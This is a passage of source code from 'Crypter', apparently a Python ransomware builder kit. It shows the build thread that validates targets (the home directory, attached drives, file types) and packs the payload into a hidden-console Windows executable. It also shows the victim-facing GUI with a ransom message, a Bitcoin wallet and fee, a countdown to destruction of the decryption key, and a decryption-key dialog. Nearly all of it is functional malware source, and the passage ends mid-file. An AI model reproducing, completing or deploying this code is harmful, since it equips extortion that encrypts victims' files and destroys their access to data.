default_value 151 | self.__console_log("No value provided for %s. Setting to default '%s'" % ( 152 | input_field, 153 | default_value, 154 | ), 155 | debug_level=2 156 | ) 157 | # Validation failed. Provide field description and expectations 158 | except ValidationException: 159 | self.__console_log( 160 | msg="Invalid value submitted for '%s'. Expected '%s', such as '%s' but received '%s'" % ( 161 | BUILDER_CONFIG_ITEMS[input_field]["label"], 162 | BUILDER_CONFIG_ITEMS[input_field]["input_requirement"], 163 | BUILDER_CONFIG_ITEMS[input_field]["example"], 164 | self.user_input_dict[input_field] 165 | ), 166 | ccode=ERROR_INVALID_DATA, 167 | invalid_input_field=input_field 168 | ) 169 | self.__in_progress = False 170 | self.__build_error = True 171 | break 172 | 173 | # Validation success 174 | if not self.__build_error and not self.__build_stopped: 175 | self.__console_log(msg="Validation successful", debug_level=1) 176 | # Encryption type debug message 177 | if self.user_input_dict["encrypt_user_home"] and self.user_input_dict["encrypt_attached_drives"]: 178 | self.__console_log(msg="Encryption will target attached drives and the user's home directory", 179 | debug_level=1) 180 | elif self.user_input_dict["encrypt_user_home"] and not self.user_input_dict["encrypt_attached_drives"]: 181 | self.__console_log(msg="Encryption will only target the user's home directory", 182 | debug_level=1) 183 | elif not self.user_input_dict["encrypt_user_home"] and self.user_input_dict["encrypt_attached_drives"]: 184 | self.__console_log(msg="Encryption will only target attached drives", 185 | debug_level=1) 186 | else: 187 | self.__console_log(msg="(warning): Not set to encrypt attached drives or user's home directory." 188 | " The encryption process will be skipped", 189 | debug_level=1) 190 | self.__create_runtime_config() 191 | spec_path = self.__create_spec_file() 192 | self.__run_pyinstaller(spec_path) 193 | self.__move_binary() 194 | 195 | # If not error, set success 196 | if not self.__build_error and not self.__build_stopped: 197 | self.__build_success = True 198 | 199 | # Build manually halted by user 200 | except UserHalt: 201 | self.__console_log(msg="Force stop detected. Halting build at next opportunity") 202 | self.__build_stopped = True 203 | # Build failed 204 | except BuildFailure as be: 205 | self.__build_error = True 206 | # self.__console_log(msg=be[0]["message"], ccode=be[0]["ccode"]) 207 | self.__console_log(msg=be, ccode=be.get_code()) 208 | 209 | # Build thread finished. Log and Reset build status to prevent further console updates 210 | self.__in_progress = False 211 | self.__console_log("Build process thread finished", debug_level=3) 212 | self.__build_error = False 213 | self.__build_stopped = False 214 | self.__build_success = False 215 | 216 | 217 | def __move_binary(self): 218 | ''' 219 | @summary: Move the produced PyInstaller binary to the correct directory 220 | and rename the file appropriately 221 | ''' 222 | # Check for stop 223 | if self.__stop_event.isSet(): 224 | raise UserHalt 225 | 226 | # Create target binary filename 227 | dest_filename = "%s.exe" % CRYPTER_FILENAME 228 | 229 | # Check Binary was produced 230 | if not os.path.isfile("dist\\Main.exe"): 231 | raise BuildFailure( 232 | ERROR_FILE_NOT_FOUND, 233 | "PyInstaller produced binary was not found. The PyInstaller build probably failed." 234 | " Check The PyInstaller output for more details, and ensure a valid PyInstaller install exists.", 235 | ) 236 | # Otherwise move the file to the correct location 237 | else: 238 | 239 | # Make bin dir if it doesn't exist 240 | if not os.path.isdir("bin"): 241 | os.makedirs("bin") 242 | 243 | if os.path.isfile("bin\\%s" % dest_filename): 244 | try: 245 | os.remove("bin\\%s" % dest_filename) 246 | except WindowsError: 247 | raise BuildFailure( 248 | ERROR_CANNOT_WRITE, 249 | "The existing binary at 'bin\\%s' could not be replaced with the new binary. Check that the" 250 | " ransomware isn't already open, and that you have sufficient permissions for the" 251 | " bin folder" % dest_filename, 252 | ) 253 | 254 | # Move binary 255 | os.rename("dist\\Main.exe", 256 | "bin\\%s" % dest_filename) 257 | self.__binary_location = os.path.join( 258 | os.path.abspath("bin"), 259 | dest_filename 260 | ) 261 | 262 | 263 | def __run_pyinstaller(self, spec_path): 264 | ''' 265 | @summary: Invokes PyInstaller with the generated SPEC file 266 | @param spec_path: The path the the created PyInstaller SPEC file 267 | ''' 268 | # Check for stop 269 | if self.__stop_event.isSet(): 270 | raise UserHalt 271 | 272 | self.__console_log(msg="Calling PyInstaller. Please wait...") 273 | 274 | # Get PyInstaller location 275 | pyinstaller_path = os.path.join(os.path.dirname(sys.executable), "pyinstaller.exe") 276 | if not os.path.isfile(pyinstaller_path): 277 | self.__console_log("PyInstaller not found at '%s'. Making system wide call instead" % pyinstaller_path, 278 | debug_level=2) 279 | pyinstaller_path = "pyinstaller" 280 | else: 281 | self.__console_log("PyInstaller found at '%s'" % pyinstaller_path, 282 | debug_level=2) 283 | 284 | # Build command 285 | cmd = [ 286 | pyinstaller_path, 287 | "--noconsole", 288 | "--clean", 289 | "-F" 290 | ] 291 | if self.user_input_dict["upx_dir"]: 292 | cmd.append("--upx-dir") 293 | cmd.append(self.user_input_dict["upx_dir"]) 294 | else: 295 | cmd.append("--noupx") 296 | cmd.append(spec_path) 297 | 298 | self.__console_log(msg="Running command: %s" % " ".join(cmd), 299 | debug_level=2) 300 | 301 | 302 | # Call PyInstaller subprocess 303 | try: 304 | build = subprocess.Popen(cmd, 305 | stdout=subprocess.PIPE, 306 | stderr=subprocess.STDOUT, 307 | creationflags=0x08000000 # To prevent console window opening 308 | ) 309 | except WindowsError as we: 310 | raise BuildFailure( 311 | ERROR_FILE_NOT_FOUND, 312 | "Call to PyInstaller failed. Check that PyInstaller is installed and can be found" 313 | " on the system path" 314 | ) 315 | 316 | while True: 317 | # Check for stop 318 | if self.__stop_event.isSet(): 319 | build.kill() 320 | raise UserHalt 321 | 322 | line = build.stdout.readline() 323 | if line: 324 | self.__console_log(msg=line.rstrip(), 325 | _class="PyInstaller", 326 | debug_level=1) 327 | else: 328 | break 329 | 330 | 331 | def __create_spec_file(self): 332 | ''' 333 | @summary: Create the binaries SPEC file 334 | ''' 335 | # Check for stop 336 | if self.__stop_event.isSet(): 337 | raise UserHalt 338 | 339 | self.__console_log(msg="Creating PyInstaller SPEC file") 340 | spec = Spec() 341 | # PI AES key 342 | if self.user_input_dict["pyinstaller_aes_key"] and not self.__stop_event.isSet(): 343 | spec.set_cipher_key(self.user_input_dict["pyinstaller_aes_key"]) 344 | elif self.__stop_event.isSet(): 345 | raise UserHalt 346 | # Binary Icon 347 | if self.user_input_dict["icon_file"] and not self.__stop_event.isSet(): 348 | spec.set_icon(self.user_input_dict["icon_file"]) 349 | elif self.__stop_event.isSet(): 350 | raise UserHalt 351 | # UPX 352 | if self.user_input_dict["upx_dir"] and not self.__stop_event.isSet(): 353 | spec.enable_upx() 354 | elif self.__stop_event.isSet(): 355 | raise UserHalt 356 | else: 357 | self.__console_log(msg="(Warning): UPX path not specified. The PyInstaller binary will not be packed." 358 | " It is recommended that UPX is used as this can reduce the binary size by several" 359 | " Megabytes" 360 | ) 361 | 362 | # Write the SPEC 363 | if not self.__stop_event.isSet(): 364 | spec_path = spec.save_spec() 365 | self.__console_log(msg="SPEC file successfully created") 366 | else: 367 | raise UserHalt 368 | 369 | return spec_path 370 | 371 | 372 | def __create_runtime_config(self): 373 | ''' 374 | @summary: Creates and writes ransomware's runtime config file 375 | ''' 376 | # Check for stop 377 | if self.__stop_event.isSet(): 378 | raise UserHalt 379 | 380 | self.__console_log(msg="Creating binary runtime config at %s" % RUNTIME_CONFIG_PATH, 381 | debug_level=1) 382 | config_dict = {"maj_version": MAJ_VERSION, 383 | "min_version": MIN_VERSION} 384 | 385 | # Parse filetypes to encrypt 386 | self.user_input_dict["filetypes_to_encrypt"] = self.user_input_dict["filetypes_to_encrypt"].split(",") 387 | for index in range(len(self.user_input_dict["filetypes_to_encrypt"])): 388 | self.user_input_dict["filetypes_to_encrypt"][index] = self.user_input_dict["filetypes_to_encrypt"][index].strip().strip(".") 389 | 390 | # Parse encrypted file extension 391 | self.user_input_dict["encrypted_file_extension"] = self.user_input_dict["encrypted_file_extension"].strip(".") 392 | 393 | for config_item in RUNTIME_CONFIG_ITEMS: 394 | config_dict[config_item] = self.user_input_dict[config_item] 395 | self.__console_log(msg="Runtime config: %s" % config_dict, debug_level=3) 396 | 397 | with open(RUNTIME_CONFIG_PATH, "w") as runtime_config_file: 398 | json.dump(config_dict, runtime_config_file, indent=4) 399 | 400 | self.__console_log(msg="Runtime config successfully written", debug_level=1) 401 | 402 | 403 | 404 | def finished_with_error(self): 405 | ''' 406 | @summary: Determines whether the build process finished with an error 407 | @return: True if finished with an error. False if finished successfully 408 | ''' 409 | if self.__build_error: 410 | return True 411 | else: 412 | return False 413 | 414 | 415 | def finished_with_success(self): 416 | ''' 417 | @summary: Determines whether the build process finished successfully 418 | @return: True if finished successfully. False is finished with an error 419 | ''' 420 | if self.__build_success: 421 | return True 422 | else: 423 | return False 424 | 425 | 426 | def finished_with_stop(self): 427 | ''' 428 | @summary: Determines if the build finished because it was halted 429 | by the user 430 | @return: True if force halted. False if not force halted 431 | ''' 432 | if self.__build_stopped: 433 | return True 434 | else: 435 | return False 436 | 437 | 438 | def stop(self): 439 | ''' 440 | @summary: To be called to set the stop event and end the build process 441 | ''' 442 | 443 | self.__stop_event.set() 444 | 445 | 446 | def get_exe_location(self): 447 | ''' 448 | @summary: Returns the location of the Crypter exe that was built 449 | ''' 450 | 451 | return self.__binary_location 452 | 453 | -------------------------------------------------------------------------------- /Crypter/Crypter/Gui.py: -------------------------------------------------------------------------------- 1 | """Subclass of MainFrame, which is generated by wxFormBuilder.""" 2 | ''' 3 | @summary: Crypter: GUI Class 4 | @author: MLS 5 | ''' 6 | 7 | # Import libs 8 | import os 9 | import time 10 | import webbrowser 11 | import wx 12 | from pubsub import pub 13 | from threading import Thread, Event 14 | 15 | # Import Package Libs 16 | from . import Base 17 | from .GuiAbsBase import EnterDecryptionKeyDialog 18 | from .GuiAbsBase import MainFrame 19 | from .GuiAbsBase import ViewEncryptedFilesDialog 20 | 21 | 22 | ############################ 23 | ## DECRYPTIONTHREAD CLASS ## 24 | ############################ 25 | class DecryptionThread(Thread): 26 | ''' 27 | @summary: Provides a thread for file decryption 28 | ''' 29 | 30 | def __init__(self, encrypted_files_list, decrypted_files_list, parent, 31 | decrypter, decryption_key): 32 | ''' 33 | @summary: Constructor: Starts the thread 34 | @param encrypted_files_list: The list of encrypted files 35 | @param decrypted_files_list: The list of files that were decrypted, but have now been decrypted 36 | @param parent: Handle to the GUI parent object 37 | @param decrypter: Handle to the decrypter (Main object) 38 | @param decryption_key: AES 256 bit decryption key to be used for file decryption 39 | ''' 40 | self.parent = parent 41 | self.encrypted_files_list = encrypted_files_list 42 | self.decrypted_files_list = decrypted_files_list 43 | self.decrypter = decrypter 44 | self.decryption_key = decryption_key 45 | self.in_progress = False 46 | self.decryption_complete = False 47 | self._stop_event = Event() 48 | 49 | # Start thread 50 | Thread.__init__(self) 51 | self.start() 52 | 53 | def run(self): 54 | ''' 55 | @summary: Performs decryption of the encrypted files 56 | ''' 57 | self.in_progress = True 58 | time.sleep(0.5) 59 | 60 | # Iterate encrypted files 61 | for i in range(len(self.encrypted_files_list)): 62 | 63 | # Check for thread termination signal and break if set 64 | if self._stop_event.is_set(): 65 | break 66 | else: 67 | # Decrypt file and add to list of decrypted files. Update progress 68 | self.decrypter.decrypt_file(self.encrypted_files_list[i], self.decryption_key) 69 | self.decrypted_files_list.append(self.encrypted_files_list[i]) 70 | #Publisher.sendMessage("update", "") 71 | pub.sendMessage("update") 72 | 73 | # Encryption stopped or finished 74 | self.in_progress = False 75 | 76 | # Check if decryption was completed 77 | if len(self.decrypted_files_list) == len(self.encrypted_files_list): 78 | self.decryption_complete = True 79 | 80 | # Run a final progress update 81 | #Publisher.sendMessage("update", "") 82 | pub.sendMessage("update") 83 | 84 | # Remove decrypted files from the list of encrypted files 85 | # Update the GUIs encrypted and decrypted file lists 86 | for file in self.decrypted_files_list: 87 | if file in self.encrypted_files_list: 88 | self.encrypted_files_list.remove(file) 89 | 90 | # Make sure GUI file lists are up-to-date 91 | self.parent.decrypted_files_list = [] 92 | self.parent.encrypted_files_list = self.encrypted_files_list 93 | 94 | # If forcefully stopped, close the dialog 95 | if self._stop_event.is_set(): 96 | self.parent.decryption_dialog.Destroy() 97 | 98 | def stop(self): 99 | ''' 100 | @summary: To be called to set the stop event and terminate the thread after the next cycle 101 | ''' 102 | 103 | # If complete or not in progress, and event is already set, close forcefully 104 | if self.decryption_complete or not self.in_progress: 105 | self.parent.decryption_dialog.Destroy() 106 | # Otherwise, only set signal 107 | else: 108 | self._stop_event.set() 109 | 110 | 111 | ############### 112 | ## GUI CLASS ## 113 | ############### 114 | class Gui(MainFrame, ViewEncryptedFilesDialog, EnterDecryptionKeyDialog, Base.Base): 115 | ''' 116 | @summary: Main GUI class. Inherits from GuiAbsBase and defines Crypter specific functions, 117 | labels, text, buttons, images etc. Also inherits from main Base for schema 118 | ''' 119 | 120 | def __init__(self, image_path, start_time, decrypter, config): 121 | ''' 122 | @summary: Constructor 123 | @param image_path: The path to look at to find resources, such as images. 124 | @param start_time: EPOCH time that the encryption finished. 125 | @param decrypter: Handle back to Main. For calling decryption method 126 | @param config: The ransomware's runtime config dict 127 | ''' 128 | # Handle Params 129 | self.image_path = image_path 130 | self.start_time = start_time 131 | self.decrypter = decrypter 132 | self.__config = config 133 | self.decryption_thread = None 134 | self.decryption_dialog = None 135 | self.encrypted_files_list = self.decrypter.get_encrypted_files_list() 136 | self.decrypted_files_list = [] 137 | 138 | # Define other vars 139 | self.set_message_to_null = True 140 | 141 | # Super 142 | MainFrame.__init__(self, parent=None) 143 | 144 | # Update GUI visuals 145 | self.update_visuals() 146 | 147 | # Update events 148 | self.set_events() 149 | 150 | # Create pubsub listener to update the decryption progress 151 | #Publisher.subscribe(self.update_decryption_progress, "update") 152 | pub.subscribe(self.update_decryption_progress, "update") 153 | 154 | def update_decryption_progress(self): 155 | ''' 156 | @summary: Updates the decryption progress in the GUI 157 | ''' 158 | 159 | # Calculate percentage completion 160 | if len(self.encrypted_files_list) == 0: 161 | percentage_completion = 100 162 | else: 163 | percentage_completion = float(len(self.decrypted_files_list)) * 100.0 / float( 164 | len(self.encrypted_files_list)) 165 | 166 | # Update number of encrypted files remaining 167 | if not self.decryption_thread.decryption_complete: 168 | encrypted_files_remaining = len(self.encrypted_files_list) - len(self.decrypted_files_list) 169 | else: 170 | encrypted_files_remaining = 0 171 | 172 | # Set encrypted files number in GUI 173 | self.decryption_dialog.EncryptedFilesNumberLabel.SetLabelText( 174 | "Encrypted Files: %s" % encrypted_files_remaining) 175 | 176 | # Update Decryption percentage completion 177 | if percentage_completion != 100: 178 | self.decryption_dialog.StatusText.SetLabelText( 179 | self.GUI_DECRYPTION_DIALOG_LABEL_TEXT_DECRYPTING[self.LANG] + " (%d%%)" % percentage_completion 180 | ) 181 | else: 182 | self.decryption_dialog.StatusText.SetLabelText( 183 | self.GUI_DECRYPTION_DIALOG_LABEL_TEXT_FINISHED[self.LANG] + " (%d%%)" % percentage_completion 184 | ) 185 | 186 | # Update decryption gauge 187 | if self.encrypted_files_list: 188 | self.decryption_dialog.DecryptionGauge.SetValue(percentage_completion) 189 | else: 190 | self.decryption_dialog.DecryptionGauge.SetValue(100) 191 | 192 | # If the decryption has successfully finished, update the GUI 193 | if not self.decryption_thread.in_progress and self.decryption_thread.decryption_complete: 194 | # Cleanup decrypter and change dialog message 195 | self.decrypter.cleanup() 196 | # Update main window 197 | self.key_destruction_timer.Stop() 198 | self.FlashingMessageText.SetLabel(self.GUI_LABEL_TEXT_FLASHING_DECRYPTED[self.LANG]) 199 | self.FlashingMessageText.SetForegroundColour(wx.Colour(2, 217, 5)) 200 | self.TimeRemainingTime.SetLabelText(self.GUI_LABEL_TEXT_TIME_BLANK[self.LANG]) 201 | self.HeaderPanel.Layout() # Recenters the child widgets after text update (this works!) 202 | 203 | # Disable decryption and files list buttons 204 | self.EnterDecryptionKeyButton.Disable() 205 | self.ViewEncryptedFilesButton.Disable() 206 | 207 | def open_url(self, event): 208 | ''' 209 | @summary: Opens a web browser at the Bitcoin URL 210 | ''' 211 | 212 | webbrowser.open(self.BTC_BUTTON_URL) 213 | 214 | def set_events(self): 215 | ''' 216 | @summary: Create button and timer events for GUI 217 | ''' 218 | 219 | # Create and bind timer event 220 | self.key_destruction_timer = wx.Timer() 221 | self.key_destruction_timer.SetOwner(self, wx.ID_ANY) 222 | self.key_destruction_timer.Start(500) 223 | self.Bind(wx.EVT_TIMER, self.blink, self.key_destruction_timer) 224 | 225 | # Create button events 226 | self.Bind(wx.EVT_BUTTON, self.show_encrypted_files, self.ViewEncryptedFilesButton) 227 | self.Bind(wx.EVT_BUTTON, self.show_decryption_dialog, self.EnterDecryptionKeyButton) 228 | self.Bind(wx.EVT_BUTTON, self.open_url, self.BitcoinButton) 229 | 230 | def stop_decryption(self, event): 231 | ''' 232 | @summary: Called when the decryption dialog is closed. Sends a stop event 233 | signal to the decryption thread if it exists 234 | ''' 235 | 236 | # Send stop event to the decryption thread if it exists 237 | if self.decryption_thread and self.decryption_thread.in_progress: 238 | self.decryption_thread.stop() 239 | # Otherwise just kill the dialog 240 | else: 241 | self.decryption_dialog.Destroy() 242 | 243 | def show_decryption_dialog(self, event): 244 | ''' 245 | @summary: Creates a dialog object to show the decryption dialog 246 | ''' 247 | 248 | # If dialog open. Don't open another 249 | if self.decryption_dialog: 250 | return 251 | 252 | # Create dialog object 253 | self.decryption_dialog = EnterDecryptionKeyDialog(self) 254 | # Set gauge size 255 | self.decryption_dialog.DecryptionGauge.SetRange(100) 256 | # Set encrypted file number 257 | self.decryption_dialog.EncryptedFilesNumberLabel.SetLabelText( 258 | self.GUI_DECRYPTION_DIALOG_LABEL_TEXT_FILE_COUNT[self.LANG] + str( 259 | len(self.encrypted_files_list) - len(self.decrypted_files_list) 260 | ) 261 | ) 262 | 263 | # Bind OK button to decryption process 264 | self.decryption_dialog.Bind(wx.EVT_BUTTON, self.start_decryption_thread, self.decryption_dialog.OkCancelSizerOK) 265 | # Bind close and cancel event to thread killer 266 | self.decryption_dialog.Bind(wx.EVT_BUTTON, self.stop_decryption, self.decryption_dialog.OkCancelSizerCancel) 267 | self.decryption_dialog.Bind(wx.EVT_CLOSE, self.stop_decryption) 268 | self.decryption_dialog.Show() 269 | 270 | def start_decryption_thread(self, event): 271 | ''' 272 | @summary: Called once the "OK" button is hit. Starts the decryption process (inits the thread) 273 | ''' 274 | 275 | key_contents = self.decryption_dialog.DecryptionKeyTextCtrl.GetLineText(0) 276 | # Check key is valid 277 | if len(key_contents) < 32: 278 | self.decryption_dialog.StatusText.SetLabelText(self.GUI_DECRYPTION_DIALOG_LABEL_TEXT_INVALID_KEY[self.LANG]) 279 | return 280 | # Check key is correct 281 | elif not self.__is_correct_decryption_key(key_contents): 282 | self.decryption_dialog.StatusText.SetLabelText("Incorrect Decryption Key!") 283 | return 284 | else: 285 | self.decryption_dialog.StatusText.SetLabelText( 286 | self.GUI_DECRYPTION_DIALOG_LABEL_TEXT_DECRYPTING[self.LANG] + " (0%)" 287 | ) 288 | 289 | # Disable dialog buttons 290 | self.decryption_dialog.OkCancelSizerOK.Disable() 291 | self.decryption_dialog.OkCancelSizerCancel.Disable() 292 | 293 | # Start the decryption thread 294 | self.decryption_thread = DecryptionThread(self.encrypted_files_list, self.decrypted_files_list, 295 | self, self.decrypter, key_contents) 296 | 297 | def __is_correct_decryption_key(self, key): 298 | ''' 299 | Checks if the provided decryption key is correct 300 | @param key: The decryption key to check 301 | @return: True if the decryption key is valid, otherwise False 302 | ''' 303 | correct_key = False 304 | encryption_test_file_path = self.decrypter.encryption_test_file + "." + self.__config["encrypted_file_extension"] 305 | 306 | # Read test file encrypted contents 307 | with open(encryption_test_file_path, "rb") as encrypted_test_file: 308 | encrypted_contents = encrypted_test_file.read() 309 | 310 | # Test decryption 311 | self.decrypter.decrypt_file(self.decrypter.encryption_test_file, key) 312 | 313 | # Check for success 314 | with open(self.decrypter.encryption_test_file, "rb") as encrypted_test_file: 315 | contents = encrypted_test_file.read().decode("utf-8") 316 | if contents == "Encryption test": 317 | correct_key = True 318 | 319 | # write old encrypted contents back 320 | with open(encryption_test_file_path, "wb") as encrypted_test_file: 321 | encrypted_test_file.write(encrypted_contents) 322 | os.remove(self.decrypter.encryption_test_file) 323 | 324 | return correct_key 325 | 326 | 327 | def show_encrypted_files(self, event): 328 | ''' 329 | @summary: Creates a dialog object showing a list of the files that were encrypted 330 | ''' 331 | 332 | # Create dialog object and file list string 333 | self.encrypted_files_dialog = ViewEncryptedFilesDialog(self) 334 | encrypted_files_list = "" 335 | for file in self.encrypted_files_list: 336 | encrypted_files_list += "%s" % file 337 | 338 | # If the list of encrypted files exists, load contents 339 | if encrypted_files_list: 340 | self.encrypted_files_dialog.EncryptedFilesTextCtrl.SetValue(encrypted_files_list) 341 | # Otherwise set to none found 342 | else: 343 | self.encrypted_files_dialog.EncryptedFilesTextCtrl.SetLabelText( 344 | self.GUI_ENCRYPTED_FILES_DIALOG_NO_FILES_FOUND[self.LANG]) 345 | 346 | self.encrypted_files_dialog.Show() 347 | 348 | def blink(self, event): 349 | ''' 350 | @summary: Blinks the subheader text 351 | ''' 352 | 353 | # Update the time remaining 354 | time_remaining = self.get_time_remaining() 355 | 356 | # Set message to blank 357 | if self.set_message_to_null and time_remaining: 358 | self.FlashingMessageText.SetLabelText("") 359 | self.HeaderPanel.Layout() # Recenters the child widgets after text update (this works!) 360 | self.set_message_to_null = False 361 | # Set message to text 362 | elif time_remaining: 363 | self.FlashingMessageText.SetLabelText(self.GUI_LABEL_TEXT_FLASHING_ENCRYPTED[self.LANG]) 364 | self.HeaderPanel.Layout() # Recenters the child widgets after text update (this works!) 365 | self.set_message_to_null = True 366 | 367 | # If the key has been destroyed, update the menu text 368 | if not time_remaining: 369 | # Cleanup decrypter and change dialog message 370 | self.decrypter.cleanup() 371 | # Update main window 372 | self.key_destruction_timer.Stop() 373 | self.TimeRemainingTime.SetLabelText(self.GUI_LABEL_TEXT_TIME_BLANK[self.LANG]) 374 | self.FlashingMessageText.SetLabelText(self.GUI_LABEL_TEXT_FLASHING_DESTROYED[self.LANG]) 375 | self.FlashingMessageText.SetForegroundColour(wx.Colour(0, 0, 0)) 376 | # Disable decryption button 377 | self.EnterDecryptionKeyButton.Disable() 378 | self.ViewEncryptedFilesButton.Disable() 379 | self.HeaderPanel.Layout() # Recenters the child widgets after text update (this works!) 380 | else: 381 | self.TimeRemainingTime.SetLabelText(time_remaining) 382 | 383 | def get_time_remaining(self): 384 | ''' 385 | @summary: Method to read the time of encryption and determine the time remaining 386 | before the decryption key is destroyed 387 | @return: time remaining until decryption key is destroyed 388 | ''' 389 | 390 | seconds_elapsed = int(time.time() - int(self.start_time)) 391 | 392 | _time_remaining = int(self.__config["key_destruction_time"]) - seconds_elapsed 393 | if _time_remaining <= 0: 394 | return None 395 | 396 | minutes, seconds = divmod(_time_remaining, 60) 397 | hours, minutes = divmod(minutes, 60) 398 | 399 | return "%02d:%02d:%02d" % (hours, minutes, seconds) 400 | 401 | def update_visuals(self): 402 | ''' 403 | @summary: Method to update the GUI visuals/aesthetics, i.e labels, images etc. 404 | ''' 405 | 406 | # Set Frame Style 407 | style = wx.CAPTION | wx.CLOSE_BOX | wx.MINIMIZE_BOX | wx.SYSTEM_MENU | wx.TAB_TRAVERSAL 408 | if self.__config["make_gui_resizeable"]: 409 | style = style | wx.RESIZE_BORDER 410 | if self.__config["always_on_top"]: 411 | style = style | wx.STAY_ON_TOP 412 | self.SetWindowStyle(style) 413 | 414 | # Background Colour 415 | self.SetBackgroundColour(wx.Colour( 416 | self.__config["background_colour"][0], 417 | self.__config["background_colour"][1], 418 | self.__config["background_colour"][2] 419 | ) 420 | ) 421 | 422 | # Icon 423 | icon = wx.Icon() 424 | icon.CopyFromBitmap(wx.Bitmap( 425 | os.path.join(self.image_path, self.GUI_IMAGE_ICON) 426 | )) 427 | self.SetIcon(icon) 428 | 429 | # Titles 430 | # ======================================================================= 431 | # self.SetTitle(self.GUI_LABEL_TEXT_TITLE[self.LANG] + " v%s.%s" % ( 432 | # self.__config["maj_version"], 433 | # self.__config["min_version"] 434 | # ) 435 | # ) 436 | # self.TitleLabel.SetLabel(self.GUI_LABEL_TEXT_TITLE[self.LANG].upper()) 437 | # self.TitleLabel.SetForegroundColour(wx.Colour( 438 | # self.__config["heading_font_colour"][0], 439 | # self.__config["heading_font_colour"][1], 440 | # self.__config["heading_font_colour"][2], 441 | # ) 442 | # ) 443 | # ======================================================================= 444 | self.SetTitle(self.__config["gui_title"] + " v%s.%s" % ( 445 | self.__config["maj_version"], 446 | self.__config["min_version"] 447 | ) 448 | ) 449 | self.TitleLabel.SetLabel(self.__config["gui_title"]) 450 | 451 | # Set flashing text initial label and Colour 452 | self.FlashingMessageText.SetLabel(self.GUI_LABEL_TEXT_FLASHING_ENCRYPTED[self.LANG]) 453 | self.__set_as_primary_colour(self.FlashingMessageText) 454 | 455 | # Set Ransom Message 456 | self.RansomMessageText.SetValue(self.__config["ransom_message"]) 457 | 458 | # Set Logo 459 | self.LockBitmap.SetBitmap( 460 | wx.Bitmap( 461 | os.path.join(self.image_path, self.GUI_IMAGE_LOGO), 462 | wx.BITMAP_TYPE_ANY 463 | ) 464 | ) 465 | 466 | # Set Bitcoin Button logo 467 | self.BitcoinButton.SetBitmap( 468 | wx.Bitmap( 469 | os.path.join(self.image_path, self.GUI_IMAGE_BUTTON), 470 | wx.BITMAP_TYPE_ANY 471 | ) 472 | ) 473 | 474 | # Set key destruction label 475 | self.TimeRemainingLabel.SetLabel(self.GUI_LABEL_TEXT_TIME_REMAINING[self.LANG]) 476 | self.__set_as_primary_colour(self.TimeRemainingLabel) 477 | 478 | # Set Wallet Address label 479 | self.WalletAddressLabel.SetLabel(self.GUI_LABEL_TEXT_WALLET_ADDRESS[self.LANG]) 480 | self.__set_as_primary_colour(self.WalletAddressLabel) 481 | 482 | # Set Wallet Address Value 483 | self.WalletAddressString.SetLabel(self.__config["wallet_address"]) 484 | self.__set_as_secondary_colour(self.WalletAddressString) 485 | 486 | # Set Bitcoin Fee label 487 | self.BitcoinFeeLabel.SetLabel(self.GUI_LABEL_TEXT_BITCOIN_FEE[self.LANG]) 488 | self.__set_as_primary_colour(self.BitcoinFeeLabel) 489 | 490 | # Set Bitcoin Fee Value 491 | self.BitcoinFeeString.SetLabel(self.__config["bitcoin_fee"]) 492 | self.__set_as_secondary_colour(self.BitcoinFeeString) 493 | 494 | # Set Timer font colour 495 | self.__set_as_secondary_colour(self.TimeRemainingTime) 496 | 497 | # Set Button Text 498 | self.ViewEncryptedFilesButton.SetLabel(self.GUI_BUTTON_TEXT_VIEW_ENCRYPTED_FILES[self.LANG]) 499 | self.EnterDecryptionKeyButton.SetLabel(self.GUI_BUTTON_TEXT_ENTER_DECRYPTION_KEY[self.LANG]) 500 | 501 | def __set_as_secondary_colour(self, obj): 502 | ''' 503 | @summary: Sets the objects foreground colour to the secondary colour specified by the config 504 | ''' 505 | 506 | obj.SetForegroundColour(wx.Colour( 507 | self.__config["secondary_font_colour"][0], 508 | self.__config["secondary_font_colour"][1], 509 | self.__config["secondary_font_colour"][2] 510 | ) 511 | ) 512 | 513 | def __set_as_primary_colour(self, obj): 514 | ''' 515 | @summary: Sets the objects foreground colour to the primary colour specified by the config 516 | ''' 517 | 518 | obj.SetForegroundColour(wx.Colour( 519 | self.__config["primary_font_colour"][0], 520 | self.__config["primary_font_colour"][1], 521 | self.__config["primary_font_colour"][2] 522 | ) 523 | ) 524 | -------------------------------------------------------------------------------- /CrypterBuilder/Gui.py: -------------------------------------------------------------------------------- 1 | ''' 2 | @summary: Crypter Builder: Provides GUI functionality 3 | @author: MLS 4 | ''' 5 | 6 | # Import libs 7 | import wx 8 | import datetime 9 | import time 10 | import json 11 | import os 12 | import subprocess 13 | from pubsub import pub 14 | 15 | # Import package modules 16 | from .BuilderGuiAbsBase import MainFrame 17 | from .Base import * 18 | from .BuilderThread import BuilderThread 19 | 20 | ############### 21 | ## GUI CLASS ## 22 | ############### 23 | class Gui(MainFrame): 24 | ''' 25 | @summary: Provides a GUI object 26 | ''' 27 | 28 | def __init__(self): 29 | ''' 30 | @summary: Constructor 31 | @param config_dict: The build configuration, if present 32 | @param load_config: Handle to a config loader method/object 33 | ''' 34 | self.language = DEFAULT_LANGUAGE 35 | self.__builder = None 36 | self.config_file_path = None 37 | 38 | # Init super - MainFrame 39 | MainFrame.__init__( self, parent=None ) 40 | self.console = Console(self.ConsoleTextCtrl) 41 | self.StatusBar.SetStatusText("Ready...") 42 | icon = wx.Icon() 43 | icon.CopyFromBitmap(wx.Bitmap(os.path.join(self.__get_resources_path(), "builder_logo.bmp"), wx.BITMAP_TYPE_ANY)) 44 | 45 | self.SetIcon(icon) 46 | 47 | # Update GUI Visuals 48 | self.update_gui_visuals() 49 | 50 | # Set initial event handlers 51 | self.set_events() 52 | 53 | 54 | def __get_resources_path(self): 55 | ''' 56 | Gets the path to the resources directory 57 | @return: Resources directory path 58 | ''' 59 | 60 | return os.path.join(os.path.dirname(__file__), "Resources") 61 | 62 | 63 | def update_gui_visuals(self): 64 | ''' 65 | @summary: Updates the GUI with any aesthetic changes following initialising. This 66 | inludes updating labels and other widgets 67 | ''' 68 | 69 | # Version 70 | self.TitleLabel.SetLabel(TITLE) 71 | self.SetTitle(TITLE) 72 | 73 | # Set Logo Image 74 | self.LogoBitmap.SetBitmap( 75 | wx.Bitmap( 76 | os.path.join(self.__get_resources_path(), "builder_logo.bmp") 77 | ) 78 | ) 79 | # Set debug to default level 80 | self.DebugLevelChoice.SetSelection( 81 | self.DebugLevelChoice.FindString( 82 | BUILDER_CONFIG_ITEMS["debug_level"]["default"] 83 | ) 84 | ) 85 | 86 | 87 | def update_config_values(self, config_dict): 88 | ''' 89 | @summary: Updates the GUI field values with those in the config_dict. Sets to 90 | empty string if the item is not in the config dict 91 | @param config_dict: 